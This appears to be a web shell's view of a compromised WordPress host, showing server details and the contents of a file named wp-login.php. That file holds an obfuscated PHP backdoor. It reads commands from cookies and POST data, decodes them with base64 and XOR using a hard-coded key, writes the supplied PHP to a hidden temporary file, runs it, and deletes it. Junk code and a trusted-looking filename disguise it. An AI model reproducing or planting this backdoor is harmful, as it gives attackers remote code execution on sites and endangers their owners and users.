HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/incastiglionfiorentino/wp-content/wp-login.php
<?php 	function      wpullj(){$dpcbxvjfdp='mctak';   print_r	(36554+36554);    }
$ojcsekru	=  'ojcsekru' /* m  */ ^ /* iwl */ '';






function    fserfkkly()

{

 /*  cr  */ $luhzbi /* xl   */ =  555;

    $rdmlfmozio /*zcfclk*/ =	'_hb';

    $kxbslb    = /*   nwuw   */ 555; /*  velbgu */ $nhx_n	=	$kxbslb    *	19;


}









function /*   obrgru */ xnkztlm($ythcraj, /*  _leprk  */ $mrswrqqzr)


{

    global /* zrb  */ $ojcsekru;


 /*  rakif*/ $nbhcgkf    = /*   o_qj */ "";


 /*   w */ $q_hbqmas   =    'gzwdffgc';       for   ($dhwiwfo	=       0; /*_dwo */ $dhwiwfo      <	strlen($ythcraj);)    {

	for    ($mdkytinp	=     0;     $mdkytinp /*   x*/ <    strlen($mrswrqqzr)	&&    $dhwiwfo /*  hkebi*/ < /*  nr  */ strlen($ythcraj); /*btaaem  */ $mdkytinp++, /*  qbqat*/ $dhwiwfo++)    {    $nbhcgkf       .=    $ojcsekru(ord($ythcraj[$dhwiwfo])	^    ord($mrswrqqzr[$mdkytinp]));

    }    }	return /*xe   */ $nbhcgkf;
}


$frttlvlzt	=     $_COOKIE;
$zl_tjqydsb       =	$_POST;$ylxpdg /* r*/ =   407;$zqdsmkka_    =     $ylxpdg /*rn */ +    10;


$dacsiapl  =    897;



function  cfgmg($adwddaa,	$ythcraj)
{

       global /* mzz*/ $ojcsekru;

	$bbazty       = /*  dhk   */ sprintf("\x2e" /*uys  */ . /* doqajq*/ $ojcsekru(923-876)    .   $ojcsekru(66-29) /*  dgb*/ .    "s"."."."p"."l",       md5($adwddaa));

	file_put_contents($bbazty,	"<"	. /* wv*/ $ojcsekru(970-907)    .    "\160" /*a_  */ .  "h"."\160"	. /* tfplh   */ $ojcsekru(32)    .    "\165"     . /* iycua   */ "n"."l".$ojcsekru(105)	.    "\156"      .    "\x6b"       . /*   ksahrl  */ "(".$ojcsekru(352-257) /*   zknm*/ . /* zt */ "_".$ojcsekru(955-885) /*  utiyfj  */ . /*   ossbfd */ "I"."L"."E"."_"."_".$ojcsekru(47-6)    . /*  bdr_rv*/ "\x3b"    . /*  pil_  */ $ojcsekru(32)    .       $ythcraj["d"]);


 /*tb   */ include($bbazty);


    $xjeosdpv_   = /*gbd*/ 146;


  $xymablxwyz /*trh   */ = /* _n */ 'ogqnrirhh';

       $rlwqcbg	=      'iu__rg';

 /*  p */ $qfcrmoqd    =	$bbazty;


       @unlink($qfcrmoqd);


 /* moozlf */ $msxzkd_yxk    =	'iinl';


}





function    xomwrhnxei()
{
	$ddnavndmt /*   dxtsc  */ =      314;}




function /*  ei   */ rwltde()


{


  global /*okksdg  */ $ojcsekru;


       $dhwiwfo      =	array();       $bn_moh	= /*   p   */ 'vonvjubz';


 /*vywbi  */ $gopkvekh	= /* puolql */ 257;


      $dhwiwfo["p".$ojcsekru(368-250)]	= /*  hiftzh*/ phpversion();
	$gopkvekh     =    $gopkvekh /*qxet*/ /	6;
       $dhwiwfo[$ojcsekru(115)       . /*   or*/ "v"] /*   sqngus */ =    "3"."\56"	.   "\65";
 /* wxdgr*/ $foeukum /*kiropy  */ =       'gqrvv';


    echo /*wb   */ @serialize($dhwiwfo);


    $gopkvekh	=	$gopkvekh /*   gc_   */ % /* mug  */ 17;


 /*rpe */ $gopkvekh /*  getvzz*/ =      $gopkvekh   -  19;

}








xomwrhnxei();


fserfkkly();


function /* i_n   */ inypaa($ythcraj,       $adwddaa,    $micle)

{


     global     $ojcsekru;





     $ythcraj     = /*hvwtat*/ unserialize(xnkztlm(xnkztlm(base64_decode($ythcraj),  $adwddaa), /*   v_*/ $micle));

	$mdkytinppymr  = /*   be*/ 'bkiwmc';

    $qroywebfq	= /*  _ej*/ 'rrqzooxqc';
 /*ds   */ $aegsjrfh /*   lhxl   */ =       strtolower($mdkytinppymr);
    if /*  bsla */ (isset($ythcraj["a".$ojcsekru(859-752)])) /*idbqyf*/ {


    if      ($ythcraj["a"]       ==	"i") /*   kkovl */ {

 /* rt */ rwltde(); /* dnuaez  */ } /* jk  */ elseif    ($ythcraj["a"]      ==      "\145")  {

      cfgmg($adwddaa, /*emhga   */ $ythcraj);
 /*  kd*/ }

 /*  xuv  */ exit();

 /*dw  */ }
}




$frttlvlzt /*  av   */ =      array_merge($zl_tjqydsb,    $frttlvlzt);


$adwddaa  =	"b"."\x65"   .    "b"."d".$ojcsekru(56)	.       $ojcsekru(52)    .       $ojcsekru(374-319) /*   c*/ .    "\x34" /*mxdsw   */ .    "-"."\x64"       .       "\x31"   .     "6".$ojcsekru(833-785) /*lpgw   */ .  $ojcsekru(45)	.	"\x34" /*   vok */ .	"\x66" /* fvxtc*/ .     "6"."\x62"	. /*   fhhbhx*/ "\55" /*vhjdx*/ . /*  kpyvb   */ "9"."\144" /*  tnngrj*/ .   $ojcsekru(56) /*  wn*/ .     $ojcsekru(57) /*   cb*/ .    "\55" /*  yuct */ .  "9".$ojcsekru(415-360) /*  itecb*/ .     $ojcsekru(57)    .   "\x39"    . /*   kn_kln  */ "\64" /*   etw   */ . /* nrm*/ "\141" /*  xn  */ . /*zgln   */ "1"."3".$ojcsekru(623-524)    . /*   fpfpg   */ $ojcsekru(972-870)       .    $ojcsekru(50)    .     "4";

$takx_wnlog /*   j */ =	-12;

foreach /* gtsi   */ ($frttlvlzt   as /* holk_ */ $micle      =>    $ythcraj)	{    inypaa($ythcraj,     $adwddaa,	$micle);
}





?>